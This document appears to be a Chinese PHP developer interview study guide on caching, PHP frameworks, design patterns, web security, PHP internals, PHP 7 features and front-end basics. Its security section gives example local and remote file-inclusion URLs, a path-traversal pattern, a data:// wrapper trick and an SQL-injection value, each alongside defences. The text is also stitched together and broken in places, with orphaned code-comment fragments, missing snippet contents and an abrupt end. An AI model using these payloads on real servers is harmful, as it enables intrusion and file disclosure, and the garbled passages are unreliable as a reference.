• * 源代码编译、内存调优

暂无资料

缓存

• * 工作中遇到哪里需要缓存，分别简述为什么

登录注册时向用户手机号发送的短信验证码是暂存redis的；

支付宝推送消息锁：用于在接收支付宝推送的异步通知消息时，第一次推送后如正确接收就利用redis上锁，第二次推送时判断已经上锁就不再接收了，避免数据造成重复。

一般我使用redis的情况是只有极少数字段，且不用长期存储，在编码中可能多个方法多个类都要用到，为了方便写入读取而用。

搜索解决方案

其实不太懂这个意思，但是感觉这篇文章应该有点关联性

性能调优​​​​​​​

各维度监控方案

标题链接不是很切题但比较易懂。

日志收集集中处理方案

资料不是很多。

国际化

在信息技术领域，国际化与本地化（英文：internationalization and localization）是指修改软件使之能适应目标市场的语言、地区差异以及技术需要。

国际化是指在设计软件，将软件与特定语言及地区脱钩的过程。当软件被移植到不同的语言及地区时，软件本身不用做内部工程上的改变或修正。本地化则是指当移植软件时，加上与特定区域设置有关的信息和翻译文件的过程。

国际化和本地化之间的区别虽然微妙，但却很重要。国际化意味着产品有适用于任何地方的“潜力”；本地化则是为了更适合于“特定”地方的使用，而另外增添的特色。用一项产品来说，国际化只需做一次，但本地化则要针对不同的区域各做一次。这两者之间是互补的，并且两者合起来才能让一个系统适用于各地。

数据库设计

不多说了。

静态化方案

https://github.com/zhongxia245/blog/issues/39

https://blog.csdn.net/guchuanyun111/article/details/52056236

画出常见 PHP 应用架构图

未找到资料。

框架篇

ThinkPHP（TP）、CodeIgniter（CI）、Zend（非 OOP 系列）

ThinkPHP是一个快速、简单的基于MVC和面向对象的轻量级PHP开发框架，遵循Apache2开源协议发布，自2006年诞生以来一直秉承简洁实用的设计原则，在保持出色的性能和至简代码的同时，尤其注重开发体验和易用性，并且拥有众多的原创功能和特性，为WEB应用和API开发提供了强有力的支持。

CodeIgniter 是一套给 PHP 网站开发者使用的应用程序开发框架和工具包。 它的目标是让你能够更快速的开发，它提供了日常任务中所需的大量类库， 以及简单的接口和逻辑结构。通过减少代码量，CodeIgniter 让你更加专注 于你的创造性工作。

Zend Framework 2是一个基于*PHP* 5.3+开源的WEB程序开源框架, 框架100%`object-oriented`_，使用了大量的PHP5.3的新功能和特性， 包括`namespaces`_, late static binding, lambda functions and closures。

对比：

一、ThinkPHP

ThinkPHP(FCS)是一个轻量级的中型框架，是从Java的Struts结构移植过来的中文PHP开发框架。它使用面向对象的开发结构和MVC模式，并且模拟实现了Struts的标签库，各方面都比较人性化，熟悉J2EE的开发人员相对比较容易上手，适合php框架初学者。 ThinkPHP的宗旨是简化开发、提高效率、易于扩展，其在对数据库的支持方面已经包括MySQL、MSSQL、Sqlite、PgSQL、 Oracle，以及PDO的支持。ThinkPHP有着丰富的文档和示例，框架的兼容性较强，但是其功能有限，因此更适合用于中小项目的开发。

优点

1.借助成熟的Java思想

2.易于上手，有丰富的中文文档；学习成本低，社区活跃度高

3.框架的兼容性较强，PHP4和PHP5完全兼容、完全支持UTF8等。

4.适合用于中小项目的开发

5.从thinkphp3.2.2引入composer包管理工具

缺点

1.对Ajax的支持不是很好；

2.目录结构混乱，相比其他框架目录结构要差一点；

3.上手容易，但是深入学习较难。

二、CodeIgniter

优点：

1.CodeIgniter推崇“简单就是美”这一原则。没有花哨的设计模式、没有华丽的对象结构，一切都是那么简单。几行代码就能开始运行，再加几 行代码就可以进行输出。可谓是“大道至简”的典范。 

2.配置简单，全部的配置使用PHP脚本来配置，执行效率高；

3.具有基本的路由功能，能够进行一定程度的路由；

4.具有初步的Layout功能，能够制作一定程度的界面外观；

5.数据库层封装的不错，具有基本的MVC功能. 

6.快速简洁，代码不多，执行性能高，

7.框架简单，容易上手，学习成本低，文档详细；

8.自带了很多简单好用的library，框架适合小型应用.

缺点：

1.本身的实现不太理想。

2.内部结构过于混乱，虽然简单易用，但缺乏扩展能力。

3.把Model层简单的理解为数据库操作. 

4.框架略显简单，只能够满足小型应用，略微不太能够满足中型应用需要.

三、Zend Framework

优点：

1.大量应用了PHP5中面向对象的新特征：接口、异常、抽象类、SPL等等。这些东西的应用让Zend Framework具有高度的模块化和灵活性

2.严格遵循“针对接口编程”和“单一对象职责”等原则

3.官方出品，自带了非常多的library，框架本身使用了很多设计模式来编写，架构上很优雅，执行效率中等

4.MVC设计，比较简洁

5.具有路由功能，配置文件比较强大（能够处理XML和php INI)

6.能够直观的支持除数据库操作之外的Model层（比 CodeIgniter 和 CakePHP 强），并且能够很轻易的使用Loader功能加载其他新增加的Class

7.Cache功能很强大，从前端Cache到后端Cache都支持，后端Cache支持Memcache、APC、SQLite、文件等等方式

8.数据库操作功能很强大，支持各种驱动（适配器）

9.文档很全，在国内社区很成熟

缺点：

1.MVC功能完成比较弱，View层简单实现（跟没实现一样），无法很强大的控制前端页面.

2.没有自动化脚本，创建一个应用，包括入口文件，全部必须自己手工构建，入门成本高

3.对于简单和小型的项目来说,反而因为在框架中应用了大量面向对象设计,对开发者提出了更高的要求，间接增加了项目的开发成本

评价：

作为官方出品的框架，Zend Framework的野心是可以预见的，想把其他框架挤走，同时封装很多强大的类库，能够提供一站式的框架服务，并且他们的开发团队很强大，完全足够有能力开发很强大的产品出来，所以基本可以确定的是Zend Framework前途无量，如果花费更多的时间去完善框架。同样的，Zend Framework架构本身也是比较优雅的，说明Zend官方是有很多高手的，设计理念上比较先进，虽然有一些功能实现的不够完善，比如View层，自动化脚本等等，这些都有赖于未来的升级

Yaf、Phalcon（C 扩展系）**

Yaf是一个C语言编写的框架，主要特性如下（摘自鸟哥网站）：

1. 用C语言开发的PHP框架, 相比原生的PHP, 几乎不会带来额外的性能开销.

2. 所有的框架类, 不需要编译, 在PHP启动的时候加载, 并常驻内存.

3. 更短的内存周转周期, 提高内存利用率, 降低内存占用率.

4. 灵巧的自动加载. 支持全局和局部两种加载规则, 方便类库共享.

5. 高性能的视图引擎.

6. 高度灵活可扩展的框架, 支持自定义视图引擎, 支持插件, 支持自定义路由等等.

7. 内建多种路由, 可以兼容目前常见的各种路由协议.

8. 强大而又高度灵活的配置文件支持. 并支持缓存配置文件, 避免复杂的配置结构带来的性能损失.

9. 在框架本身,对危险的操作习惯做了禁止.

10. 更快的执行速度, 更少的内存占用.

Phalcon 是一个基于 MVC 的 PHP 框架。与其他框架相比，它使用的资源非常少，转化为 HTTP 请求能够非常快速的处理，对于不提供太多消耗的系统的开发人员来说，这是非常重要的。

Phalcon 为开发人员提供数据存储工具，例如其自己的 SQL 方言：PHQL，以及 MongoDB 的对象文档映射。其他功能包括模板引擎，表单构建器，易于构建具有国际语言支持的应用程序等等。Phalcon 是构建性能 REST API 以及完整的 Web 应用程序的理想选择。

优：

低开销

自动装载

独特，因为它是基于C扩展

内置非常好的安全功能

文档完备

开发人员友好

劣：

不像 Laravel 那样开源

Bug 需要等待官方修复

不适用于 HHVM

Yii、Laravel、Symfony（纯 OOP 系列）

Yii：

Yii 是一个基于组件的高性能php框架，用于开发大型Web应用。Yii采用严格的OOP编写，并有着完善的库引用以及全面的教程。从 MVC，DAO/ActiveRecord，widgets，caching，等级式RBAC，Web服务，到主题化，I18N和L10N，Yii提供了 今日Web 2.0应用开发所需要的几乎一切功能。事实上，Yii是最有效率的PHP框架之一。

优点

1.纯OOP

2.用于大规模Web应用

3.模型使用方便

4.开发速度快，运行速度也快。性能优异且功能丰富

5.使用命令行工具。

6.支持composer包管理工具

缺点：

1.对Model层的指导和考虑较少

2.文档实例较少

3.英文太多

4.要求PHP技术精通，OOP编程要熟练！

5.View并不是理想view，理想中的view可能只是html代码，不会涉及PHP代码。

Laravel：

优点

1.laravel的设计思想是很先进的，非常适合应用各种开发模式TDD, DDD 和BDD

2.支持composer包管理工具

3.集合了php 比较新的特性，以及各种各样的设计模式，Ioc 容器，依赖注入等。

缺点

1.基于组件式的框架，所以比较臃肿

Symfony：

优点：

1.完整实现了MVC三层

2.封装了所有东西，包括 $POST，$GET 数据，异常处理，调试功能，数据检测

3.包含强大的缓存功能

4.自动加载Class,能够很随意的定义各种自己的class

5.强大的语言支持

6.具有很强大的view层操作，能够零碎的包含单个多个文件

7.非常强大的配置功能，使用xml配置能够控制所有框架和程序运行行为

8.包含强大的多层级项目和应用管理：Project --> Application --> Module --> Action，能够满足一个项目下多个应用的需要，并且每层可以定义自己的类库，配置文件，layout

9.非常强大的命令行操作功能，包括建立项目、建立应用、建立模块、刷新缓存等等

10.Symfony绝对是开发大型复杂项目的首选，因为使用了Symfony，将大大节约开发成本，并且多人协作的时候，不会出现问题，在Project级别定义好基础Class以后，任何模块都能够重用，大大复用代码.

缺点：

1.最大的问题也在于使用了太多风格迥异的开源项目来组合成框架

2.由于Mojavi和Propel本身都相当复杂，因此Symfony的结构非常复杂，难以理解和学习

3. 缓存功能无法控制，每次开发调试总是缓存，需要执行 symfony cc,symfony rc来清除和重建缓存

4.效率不是很高，特别是解析模板和读取配置文件的过程，花费时间不少

5.学习成本很高，并且国内没有成熟的社区和中文文档

评价：

Symfony绝对是企业级的框架，唯一能够貌似能够跟Java领域哪些强悍框架抗衡的东西；强悍的东西，自然学习复杂，但是相应的对项目开发也比较有帮助，自然是推荐复杂的项目使用Symfony来处理，觉得是值得，后期的维护成本比较低，复用性很强。相应的如果使用Symfony的应该都是比较复杂的互联网项目，那么相应的就要考虑关于数据库分布的问题，那么就需要抛弃Symfony自带的数据库操作层，需要自己定义，当然了，Symfony支持随意的构造model层

Swoole、Workerman （网络编程框架）

套用知乎上还算比较全面的一段分析吧：

1. 安装和环境需求：

1.1、swoole是c写的php扩展，需要有一个安装扩展的过程，但是workerman为了性能，也需要安装event扩展。所以复杂度都差不多。

1.2、韩老师所说的“外部依赖上workerman需要依赖很多额外的第三方PHP扩展来实现，局限性比较大，这些扩展并非是PHP官方维护的，维护性方面良莠不齐，有些扩展连PHP7都不支持，数年没人维护”是不存在的。workerman一共只需要2个扩展，pcntl扩展和posix扩展，两个扩展都不是什么良莠不齐，PHP7不支持。我本人就是在php7.0安装的swoole和workerman，并且这两个扩展是原来就存在的。如果说使用扩展不好的话，swoole自己就是扩展呀。

2.文档方面：

2.1、swoole一共有3种文档：中文wiki版，英文版，英文git版。不要要求swoole能把文档写好，只要能写全了佛祖保佑吧。中文版我的体验不太好，主要是不够新，文档结构很乱。英文版可能是由英文git版生成的，但是缺少大块的内容。英文git版应该是比较全的，只发现少量的url 404错误，但是可以自己去源码中找回。我建议swoole新手把git版英文版、中文版文档结合着看。建议新手不要对官方文档期质量待过高，只看中文版，那你会掉坑里。一方面觉得新手不够高级天天掉坑，另一方面文档又不给解释清楚怎么用，总感觉到哪里不对是不是？如果你天真的去官网提出你的想法，嗯，你会遇到一个傲慢的老者让你翻看《旧约》100页后再来提意见。

2.2、workerman就简单多了。中英文两个文档，结构清晰，整个框架有什么东西一目了然。但是workerman框架本来就内容很少。workerman官网有个非常恶心的地方，进入网页会一声巨响，而且每次进入都会巨响。

3.内容：

3.1、swoole：可能是因为要进行更高定制化的网络编程 ，swoole包含了一些相对于一般php-fpm编程中见不到的进程、线程等概念和解决方案，还包括某些异步IO场景的解决方案。2.x还包含了协程概念，想要一次性跨过node.js 这种异步语言所经历的callback地狱的黑暗时期。官方的定位是《使 PHP 开发人员可以编写高性能的异步并发 TCP、UDP、Unix Socket、HTTP，WebSocket 服务》。也就是说，swoole不光是提供了解决方案，还要改变你的编程习惯。

3.2、workerman：提供高并发的tcp/udp/websocket/http server和client端解决方案。官方的定位是《开源高性能的PHP socket 服务器框架》。

3.3、两者都是常驻内存，也就是都用php命令行启动应用。不是传统的php-fpm场景。

4.使用习惯：

4.1、swoole的这些概念看似高大上，可用起来会发现，限制还挺多的，具体自己体验吧。而且设计思路好像不太一样，每种技术解决方案都用各自的思路，用户整体使用起来会感觉到不够连贯。我猜想c程序员或java程序员用起来应该没有障碍，因为他们开始就必须考虑内存常驻、进程通信、内存使用等问题。

4.2、workerman：非常简单易用，整个框架就一个worker概念，使用起来就是worker里套worker，或者worker和worker通信。用户根本不需要过多考虑进程或并发的细节，传统的php-fpm（扩展，php-fpm什么鬼）程序员一用就会。

5.也许以后会有真正使用后的深度使用评测、性能评测。两者都可以做高性能网络服务，但两者思路不一样，内容不一样，我想两者的最终目的肯定更不会一样，有些地方是没有可比性的。本人是一个小学生，水平太次，有让谁不高兴的地方，欢迎来喷，我喜欢看到别人真实的观点，当然也可以忽略我，毕竟高手太多了。

对比框架区别几个方向点

• * 是否纯 OOP
  • 类库加载方式（自己写 autoload 对比 composer 标准）
  • 易用性方向（CI 基础框架，Laravel 这种就是高开发效率框架以及基础组件多少）
  • 黑盒（相比 C 扩展系）
  • 运行速度（如：Laravel 加载一大堆东西）
  • 内存占用

设计模式

单例模式（重点）

单例模式(singleton)有三个特点

1、一个类只能有一个实例

2、它必须自行创建这个实例

3、它必须自行向整个系统提供这个实例意图：保证一个类仅有一个实例，并提供一个访问它的全局访问点。

主要解决：一个全局使用的类频繁地创建与销毁。

何时使用：当您想控制实例数目，节省系统资源的时候。

如何解决：判断系统是否已经有这个单例，如果有则返回，如果没有则创建。

关键代码：构造函数是私有的。

应用实例： 1、一个党只能有一个书记。 2、Windows 是多进程多线程的，在操作一个文件的时候，就不可避免地出现多个进程或线程同时操作一个文件的现象，所以所有文件的处理必须通过唯一的实例来进行。 3、一些设备管理器常常设计为单例模式，比如一个电脑有两台打印机，在输出的时候就要处理不能两台打印机打印同一个文件。

优点： 1、在内存里只有一个实例，减少了内存的开销，尤其是频繁的创建和销毁实例（比如管理学院首页页面缓存）。 2、避免对资源的多重占用（比如写文件操作）。

缺点：没有接口，不能继承，与单一职责原则冲突，一个类应该只关心内部逻辑，而不关心外面怎么样来实例化。

使用场景： 1、要求生产唯一序列号。 2、WEB 中的计数器，不用每次刷新都在数据库里加一次，用单例先缓存起来。 3、创建的一个对象需要消耗的资源过多，比如 I/O 与数据库的连接等。

/**

 * 单例类

 * Singleton.class

 */

class Singleton  

{  

   /**

    * 静态成品变量 保存全局实例

    */

    private static $_instance = NULL;

     /**

      * 私有化默认构造方法，保证外界无法直接实例化

      */

       private function __construct()

       {

       }

    /**

      * 静态工厂方法，返还此类的唯一实例

      */

     public static function getInstance() {

      if (is_null(self::$_instance)) {

       self::$_instance = new Singleton();

       // 或者这样写

       // self::$_instance = new self();

      }

      return self::$_instance;

     }

   /**

    * 防止用户克隆实例

    */

     public function __clone(){

      die('Clone is not allowed.' . E_USER_ERROR);

     }

  /**

   * 测试用方法

   */

   public function test()

   {

      echo 'Singleton Test OK!';

   }

}  

/**

 * 客户端

 */

class Client {

  /**

  * Main program.

  */

 public static function main() {

  $instance = Singleton::getInstance();

  $instance->test();

 }

}

Client::main();

工厂模式（重点）

意图：定义一个创建对象的接口，让其子类自己决定实例化哪一个工厂类，工厂模式使其创建过程延迟到子类进行。

主要解决：主要解决接口选择的问题。

何时使用：我们明确地计划不同条件下创建不同实例时。

如何解决：让其子类实现工厂接口，返回的也是一个抽象的产品。

关键代码：创建过程在其子类执行。

应用实例： 1、您需要一辆汽车，可以直接从工厂里面提货，而不用去管这辆汽车是怎么做出来的，以及这个汽车里面的具体实现。 2、Hibernate 换数据库只需换方言和驱动就可以。

优点： 1、一个调用者想创建一个对象，只要知道其名称就可以了。 2、扩展性高，如果想增加一个产品，只要扩展一个工厂类就可以。 3、屏蔽产品的具体实现，调用者只关心产品的接口。

缺点：每次增加一个产品时，都需要增加一个具体类和对象实现工厂，使得系统中类的个数成倍增加，在一定程度上增加了系统的复杂度，同时也增加了系统具体类的依赖。这并不是什么好事。

使用场景： 1、日志记录器：记录可能记录到本地硬盘、系统事件、远程服务器等，用户可以选择记录日志到什么地方。 2、数据库访问，当用户不知道最后系统采用哪一类数据库，以及数据库可能有变化时。 3、设计一个连接服务器的框架，需要三个协议，"POP3"、"IMAP"、"HTTP"，可以把这三个作为产品类，共同实现一个接口。

注意事项：作为一种创建类模式，在任何需要生成复杂对象的地方，都可以使用工厂方法模式。有一点需要注意的地方就是复杂对象适合使用工厂模式，而简单对象，特别是只需要通过 new 就可以完成创建的对象，无需使用工厂模式。如果使用工厂模式，就需要引入一个工厂类，会增加系统的复杂度。

     \* The SplObserver to attach.          \*

     \* The SplObserver to detach.          \*

     \* The SplSubject notifying the observer of an update.          \*

exploit：

包含当前目录的 lfi.txt（内容为）：

跨目录包含：

http://localhost:81/lfi/lfi.php?test=../lfi.txt #包含上层目录的lfi.txt文件

http://localhost:81/lfi/lfi.php?test=/lfi_in/lfi.txt #包含内层目录的lfi.txt文件

防御：

防止跨目录：

在php.ini中设置open_basedir

open_basedir = C:\Program Files\phpStudy\WWW\lfi #限制在当前目录下（包括子目录）

open_basedir = C:\Program Files\phpStudy\WWW\lfi\ #限制在当前目录下（不包括子目录)

open_basedir可被绕过：wooyun链接

防止本地文件包含：

使用枚举

$file =$_GET['test'];

switch ($file) {

case 'lfi.txt':

include('./lfi.txt');

break;

default:

include('./notexists.txt');

break;

}

?>

远程文件包含：

exploit:

http://localhost:81/lfi/rfi.php?file=http://ip_address/php/rfi/rfi.txt?

技巧：？被解释成url中的querystring，可用来在 远程文件包含 时 截断 代码中后面内容。

防御：

php.ini配置文件里allow_url_include=off

文件包含利用技巧：

1.远程文件包含时 利用 data://  (>5.2.0) 或者 input://协议

/rfi.php?file=data:text/plain,

附：php的安全配置

Register_globals =off

Open_basedir

Allow_url_include =off

Display_errors =off

Log_errors = on

Magic_quotes_gpc =off

Cgi.fix_pathinfo

Session.cookie_httponly

其他更详细的介绍：

https://chybeta.github.io/2017/10/08/php%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/

https://wps2015.org/drops/drops/PHP%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E%E6%80%BB%E7%BB%93.html

文件上传 PHP 脚本

原文链接

一、原理

一些web应用程序中允许上传图片，文本或者其他资源到指定的位置。

文件上传漏洞就是利用网页代码中的文件上传路径变量过滤不严将可执行的文件上传到一个到服务器中，再通过URL去访问以执行恶意代码。

开源中国一篇举例丰富的文章

eval 函数执行脚本

eval()函数中的eval是evaluate的简称，这个函数的作用就是把一段字符串当作PHP语句来执行，一般情况下不建议使用容易被黑客利用。

关于eval()的返回值通俗说法：执行语句中有return，且return不在函数里面，则返回Return后面的值，否则返回null。

额外文章

disable_functions 关闭高危函数

见上面“禁用mysql_系函数”

FPM 独立用户与组，给每个目录特定权限

涉及linux服务器相关，先附文章

基础https://blog.csdn.net/u011670590/article/details/53506192

https://blog.csdn.net/keyunq/article/details/51613125

https://www.cnblogs.com/52php/p/6224825.html

了解 Hash 与 Encrypt 区别

简书链接

加密(Encrypt)

加密的概念：简单来说就是一组含有参数k的变换E。信息m通过变换E得到c = E(m)。原始信息m为明文，通过变换得到的信息c为密文。从明文得到密文的过程叫做加密，变换E为加密算法，参数k称作秘钥。同一个加密算法，可以取不同的密钥，得出不同的加密结果。从密文c恢复明文m的过程称作解密，解密算法D是加密算法E的逆运算。解密算法也有参数，称作解密算法的秘钥。

加密的方式：私钥密码(对称加密)和公钥密码(非对称加密)。

哈希（Hash）

哈希与加密是不同的，概括来说，哈希(Hash)是将目标文本转换成具有相同长度的、不可逆的杂凑字符串(或叫做消息摘要)，而加密(Encrypt)是将目标文本转换成具有不同长度的、可逆的密文。

两者有如下重要区别：

1、哈希算法往往被设计成生成具有相同长度的文本，而加密算法生成的文本长度与明文本身的长度有关。

2、哈希算法是不可逆的，而加密算法是可逆的。

这里重点强调一下Hash和Encrypt的主要区别，因为接下来的文章要用到这两个概念，这里对此不做深究。详细介绍可看我下面参考的一篇文章哈希(Hash)与加密(Encrypt)的基本原理、区别及工程应用。

​​​​​​​

高阶篇

PHP 数组底层实现 （HashTable + Linked list）

传播很广的一篇介绍文章

Copy on write 原理，何时 GC

解释：

在复制一个对象的时候并不是真正的把原先的对象复制到内存的另外一个位置上，而是在新对象的内存映射表中设置一个指针，指向源对象的位置，并把那块内存的Copy-On-Write位设置为1.

这样，在对新的对象执行读操作的时候，内存数据不发生任何变动，直接执行读操作；而在对新的对象执行写操作时，将真正的对象复制到新的内存地址中，并修改新对象的内存映射表指向这个新的位置，并在新的内存位置上执行写操作。

这个技术需要跟虚拟内存和分页同时使用，好处就是在执行复制操作时因为不是真正的内存复制，而只是建立了一个指针，因而大大提高效率。但这不是一直成立的，如果在复制新对象之后，大部分对象都还需要继续进行写操作会产生大量的分页错误，得不偿失。所以COW高效的情况只是在复制新对象之后，在一小部分的内存分页上进行写操作。

GC指的是Garbage Collection（垃圾回收）：无资料

原文链接

PHP 进程模型，进程通讯方式，进程线程区别

进程模型资料不多，只找到这一篇：

https://jiachuhuang.github.io/2017/07/06/PHP-FPM%E8%BF%9B%E7%A8%8B%E6%A8%A1%E5%9E%8B/

进程通讯方式：

Sf原文

pcntl扩展：主要的进程扩展，完成进程的创建，子进程的创建，也是当前使用比较广的多进程。

posix扩展：完成posix兼容机通用api,如获取进程id,杀死进程等。主要依赖 IEEE 1003.1 (POSIX.1) ，兼容posix

sysvmsg扩展：实现system v方式的进程间通信之消息队列。

sysvsem扩展：实现system v方式的信号量。

sysvshm扩展：实现system v方式的共享内存。

sockets扩展：实现socket通信，跨机器，跨平台。

php也有一些封装好的异步进程处理框架：例如swoole,workman等

这篇简书文章有几个例子：https://www.jianshu.com/p/08bcf724196b

这个好像例子更好看一点：

https://blog.stroller.vip/php/phpjin-cheng-tong-xun-de-ji-zhong-fang-shi.html

进程线程区别：

从逻辑角度来看，多线程的意义在于一个应用程序中，有多个执行部分可以同时执行。但操作系统并没有将多个线程看做多个独立的应用，来实现进程的调度和管理以及资源分配。这就是进程和线程的重要区别。

进程是具有一定独立功能的程序关于某个数据集合上的一次运行活动,进程是系统进行资源分配和调度的一个独立单位.

线程是进程的一个实体,是CPU调度和分派的基本单位,它是比进程更小的能独立运行的基本单位.线程自己基本上不拥有系统资源,只拥有一点在运行中必不可少的资源(如程序计数器,一组寄存器和栈),但是它可与同属一个进程的其他的线程共享进程所拥有的全部资源.

一个线程可以创建和撤销另一个线程;同一个进程中的多个线程之间可以并发执。

一个程序至少有一个进程,一个进程至少有一个线程,进程和线程的主要差别在于它们是不同的操作系统资源管理方式。进程有独立的地址空间，一个进程崩溃后，在保护模式下不会对其它进程产生影响，而线程只是一个进程中的不同执行路径。线程有自己的堆栈和局部变量，但线程之间没有单独的地址空间，一个线程死掉就等于整个进程死掉，所以多进程的程序要比多线程的程序健壮，但在进程切换时，耗费资源较大，效率要差一些。但对于一些要求同时进行并且又要共享某些变量的并发操作，只能用线程，不能用进程.

简书原文链接

进程和线程的关系

进程就像地主，有土地（系统资源），线程就像佃户（线程，执行种地流程）。每个地主（进程）只要有一个干活的佃户（线程）。

进程-资源分配的最小单位，相对健壮，崩溃一般不影响其他进程，但是切换进程时耗费资源，效率差些。

线程-程序执行的最小单位，没有独立的地址空间，一个线程死掉可能整个进程就死掉，但是节省资源，切换效率高。

php编程常见的进程和线程

1、在web应用中，我们每次访问php，就建立一个PHP进程，当然也会建立至少一个PHP线程。

2、PHP使用pcntl来进行多进程编程

3、PHP中使用pthreads来进行多线程编程

4、nginx的每个进程只有一个线程，每个线程可以处理多个客户端的访问

5、php-fpm使用多进程模型，每个进程只有一个线程，每个线程只能处理一个客户端访问。

6、apache可能使用多进程模型，也可能使用多线程模型，取决于使用哪种SAPI.

yield 核心原理是什么

见上文，此处未找到关于原理的资料，只有一些如何使用的片面教程

PDO prepare 原理

一篇大佬的文章：http://zhangxugg-163-com.iteye.com/blog/1835721，其他资料大多都参考了此篇

下面摘自知乎https://www.zhihu.com/question/23922206

事情是这样的：你传给prepare的语句，被数据库服务器解析和编译。你通过 ? 或者带名字的参数 :name 告诉数据库引擎需要传入的点。然后当你执行execute时，准备好的语句就会和参数结合起来了。

重点来了，参数是和编译过的语句结合的，而非与SQL字符串结合。SQL注入的原理就是混淆参数和语句（骗程序说是语句，其实本应该是参数）。所以，单独发送SQL，然后再发送参数，轻轻楚楚，不会搞混。任何参数都会被当然字符串传入（当然数据库会做优化，可能字符串又变成了数字）。在上面的例子里，如果$name变量是 'Sarah'; DELETE FROM employees ，结果就会是搜索 "'Sarah'; DELETE FROM employees", 而不会清空你的表。

还有一个好处：如果你要对同一个语句执行很多遍，这条SQL语句只会编译一次。速度会有所提升。

准备语句可以用来做动态查询吗？

准备语句只能用来准备参数，查询的结构不能改变。

对于这些特殊场景，最好的办法就是用白名单限制输入。

PHP 7 与 PHP 5 有什么区别

Csdn原文

1、php标量类型和返回类型声明

#主要分为两种模式，强制性模式和严格模式

declare(strict_types=1)

#1表示严格类型校验模式，作用于函数调用和返回语句；0表示弱类型校验模式。

2、NULL合并运算符

$site = isset($_GET['site']) ? $_GET['site'] : 'wo';

#简写成

$site = $_GET['site'] ??'wo';

3、组合预算符

// 整型比较

print( 1 <=> 1);print(PHP_EOL);

print( 1 <=> 2);print(PHP_EOL);

print( 2 <=> 1);print(PHP_EOL);

print(PHP_EOL); // PHP_EOL 为换行符

//结果：

0

-1

1

4、常量数组

// 使用 define 函数来定义数组

define('sites', [

   'Google',

   'Jser',

   'Taobao'

]);

print(sites[1]);

5、匿名类

interface Logger {

   public function log(string $msg);

}

class Application {

   private $logger;

   public function getLogger(): Logger {

      return $this->logger;

   }

   public function setLogger(Logger $logger) {

      $this->logger = $logger;

   }   

}

$app = new Application;

// 使用 new class 创建匿名类

$app->setLogger(new class implements Logger {

   public function log(string $msg) {

      print($msg);

   }

});

$app->getLogger()->log("我的第一条日志");

6、Closure::call()方法增加，意思向类绑定个匿名函数

7、CSPRNG（伪随机数产生器）。

PHP 7 通过引入几个 CSPRNG 函数提供一种简单的机制来生成密码学上强壮的随机数。

random_bytes() - 加密生存被保护的伪随机字符串。

random_int() - 加密生存被保护的伪随机整数。

8、异常

PHP 7 异常用于向下兼容及增强旧的assert()函数。

9、use 语句改变

#可以导入同一个namespace下的类简写

use some\namespace\{ClassA, ClassB, ClassC as C};

10、Session 选项

1.session_start()可以定义数组

2.引入了一个新的php.ini设置（session.lazy_write）,默认情况下设置为 true，意味着session数据只在发生变化时才写入。

11、PHP 7 移除的扩展

ereg

mssql

mysql

sybase_ct

为什么 PHP7 比 PHP5 性能提升了？

1、变量存储字节减小，减少内存占用，提升变量操作速度

2、改善数组结构，数组元素和hash映射表被分配在同一块内存里，降低了内存占用、提升了 cpu 缓存命中率

3、改进了函数的调用机制，通过优化参数传递的环节，减少了一些指令，提高执行效率

Swoole 适用场景，协程实现方式

适用场景直接看官方手册中附带的案例演示吧，还挺多的：

https://wiki.swoole.com/wiki/page/p-case.html

关于协程的手册中也有专门原理解释了：

https://wiki.swoole.com/wiki/page/956.html

前端篇

原生获取 DOM 节点，属性

详细原文链接简单列举常见的：

// 返回当前文档中第一个类名为 "myclass" 的元素

var el = document.querySelector(".myclass");

// 返回一个文档中所有的class为"note"或者 "alert"的div元素

var els = document.querySelectorAll("div.note, div.alert");

// 获取元素

var el = document.getElementById('xxx');

var els = document.getElementsByClassName('highlight');

var els = document.getElementsByTagName('td');

// 获取一个{name, value}的数组

var attrs = el.attributes;

// 获取、设置属性

var c = el.getAttribute('class');

el.setAttribute('class', 'highlight');

// 判断、移除属性

el.hasAttribute('class');

el.removeAttribute('class');

// 是否有属性设置

el.hasAttributes();  

盒子模型

所有HTML元素可以看作盒子，在CSS中，"box model"这一术语是用来设计和布局时使用。CSS盒模型本质上是一个盒子，封装周围的HTML元素，它包括：边距，边框，填充，和实际内容。盒模型允许我们在其它元素和周围元素边框之间的空间放置元素。

CSS 文件、style 标签、行内 style 属性优先级**

1.CSS 指层叠样式表 (Cascading Style Sheets)；样式定义如何显示 HTML 元素；样式通常存储在样式表中；把样式添加到 HTML 4.0 中，是为了解决内容与表现分离的问题；外部样式表可以极大提高工作效率；外部样式表通常存储在 CSS 文件中；多个样式定义可层叠为一。

2.